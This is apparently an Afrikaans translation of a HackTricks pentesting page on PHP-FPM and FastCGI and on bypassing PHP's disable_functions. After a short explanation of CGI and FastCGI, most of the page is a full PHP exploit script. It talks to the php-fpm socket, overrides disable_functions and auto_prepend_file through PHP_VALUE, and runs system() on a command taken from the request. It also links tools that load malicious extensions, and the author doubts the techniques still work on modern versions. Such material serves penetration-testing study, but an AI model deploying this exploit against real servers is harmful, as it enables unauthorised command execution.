PHP-FPM word aangebied as 'n superieure alternatief vir die standaard PHP FastCGI, wat funksies bied wat veral voordelig is vir webwerwe met hoë verkeer. Dit werk deur 'n meesterproses wat 'n versameling werkerprosesse toesig hou. Vir 'n PHP-skrip versoek, is dit die webbediener wat 'n FastCGI proxy-verbinding na die PHP-FPM diens begin. Hierdie diens het die vermoë om versoeke te ontvang via netwerkpoorte op die bediener of Unix sokke.
Ten spyte van die intermediêre rol van die proxy-verbinding, moet PHP-FPM op dieselfde masjien as die webbediener werk. Die verbinding wat dit gebruik, terwyl dit proxy-gebaseerd is, verskil van konvensionele proxy-verbindinge. Wanneer 'n versoek ontvang word, verwerk 'n beskikbare werker van PHP-FPM dit—dit voer die PHP-skrip uit en stuur dan die resultate terug na die webbediener. Nadat 'n werker die verwerking van 'n versoek voltooi het, word dit weer beskikbaar vir komende versoeke.
Maar wat is CGI en FastCGI?
CGI
Normaalweg word webbladsye, lêers en al die dokumente wat van die webbediener na die blaaskas oorgedra word, in 'n spesifieke openbare gids soos home/user/public_html gestoor. Wanneer die blaaskas sekere inhoud versoek, kyk die bediener in hierdie gids en stuur die vereiste lêer na die blaaskas.
As CGI op die bediener geïnstalleer is, word die spesifieke cgi-bin gids ook daarby gevoeg, byvoorbeeld home/user/public_html/cgi-bin. CGI-skripte word in hierdie gids gestoor. Elke lêer in die gids word as 'n uitvoerbare program behandel. Wanneer 'n skrip uit die gids benader word, stuur die bediener 'n versoek na die toepassing wat verantwoordelik is vir hierdie skrip, eerder as om die lêer se inhoud na die blaaskas te stuur. Nadat die invoerdata verwerking voltooi is, stuur die toepassing die uitvoerdata na die webbediener wat die data na die HTTP-klient oordra.
Byvoorbeeld, wanneer die CGI-skrip http://mysitename.com/cgi-bin/file.pl benader word, sal die bediener die toepaslike Perl-toepassing deur CGI uitvoer. Die data wat uit die skrip se uitvoering gegenereer word, sal deur die toepassing na die webbediener gestuur word. Die bediener sal op sy beurt die data na die blaaskas oordra. As die bediener nie CGI gehad het nie, sou die blaaskas die .pl lêer se kode self vertoon het. (verklaring van hier)
FastCGI
FastCGI is 'n nuwer webtegnologie, 'n verbeterde CGI weergawe aangesien die hooffunksionaliteit dieselfde bly.
Die behoefte om FastCGI te ontwikkel, is ontstaan deur die vinnige ontwikkeling en kompleksiteit van toepassings, sowel as om die skaalbaarheid tekortkominge van CGI-tegnologie aan te spreek. Om aan daardie vereistes te voldoen, het Open MarketFastCGI bekendgestel – 'n hoë prestasie weergawe van die CGI-tegnologie met verbeterde vermoëns.
disable_functions omseiling
Dit is moontlik om PHP-kode te loop deur die FastCGI te misbruik en die disable_functions beperkings te vermy.
Via Gopherus
Ek is nie seker of dit in moderne weergawes werk nie, want ek het een keer probeer en dit het niks uitgevoer nie. Asseblief, as jy meer inligting oor hierdie het, kontak my via [PEASS & HackTricks telegram groep hier](https://t.me/peass), of twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Met Gopherus kan jy 'n payload genereer om na die FastCGI luisteraar te stuur en arbitrêre opdragte uit te voer:
Uploading and accessing this script die eksploit gaan gestuur word na FastCGI (deaktiveer disable_functions) en die gespesifiseerde opdragte gaan uitgevoer word.
PHP eksploit
Ek is nie seker of dit in moderne weergawes werk nie, want ek het een keer probeer en ek kon niks uitvoer nie. Trouens, ek het gesien dat phpinfo() van FastCGI uitvoering aangedui het dat disable_functions leeg was, maar PHP (op een of ander manier) het steeds verhoed dat ek enige voorheen gedeaktiveerde funksie kon uitvoer. Asseblief, as jy meer inligting hieroor het, kontak my via [PEASS & HackTricks telegram groep hier](https://t.me/peass), of twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Using the previous function you will see that the function system is nog steeds gedeaktiveer maar phpinfo() wys disable_functionsleeg:
So, ek dink dat jy slegs disable_functions kan stel via php .ini konfigurasie lêers en die PHP_VALUE sal nie daardie instelling oorskry nie.
Dit is 'n php skrip om die fastcgi protokol te benut om open_basedir en disable_functions te omseil.
Dit sal jou help om streng disable_functions te omseil na RCE deur die kwaadwillige uitbreiding te laai.
Jy kan dit hier toegang: https://github.com/w181496/FuckFastcgi of 'n effens gemodifiseerde en verbeterde weergawe hier: https://github.com/BorelEnzo/FuckFastcgi
Jy sal vind dat die exploit baie soortgelyk is aan die vorige kode, maar in plaas daarvan om te probeer om disable_functions te omseil met PHP_VALUE, probeer dit om 'n eksterne PHP-module te laai om kode uit te voer met die parameters extension_dir en extension binne die veranderlike PHP_ADMIN_VALUE.
NOTE1: Jy sal waarskynlik die uitbreiding moet hercompileer met die dieselfde PHP weergawe wat die bediener gebruik (jy kan dit binne die uitvoer van phpinfo nagaan):
NOTE2: Ek het daarin geslaag om dit te laat werk deur die extension_dir en extension waardes binne 'n PHP .ini konfigurasie lêer in te voeg (iets wat jy nie sal kan doen nie wanneer jy 'n bediener aanval). Maar om een of ander rede, toe ek hierdie exploit gebruik en die uitbreiding van die PHP_ADMIN_VALUE veranderlike laai, het die proses net gesterf, so ek weet nie of hierdie tegniek steeds geldig is nie.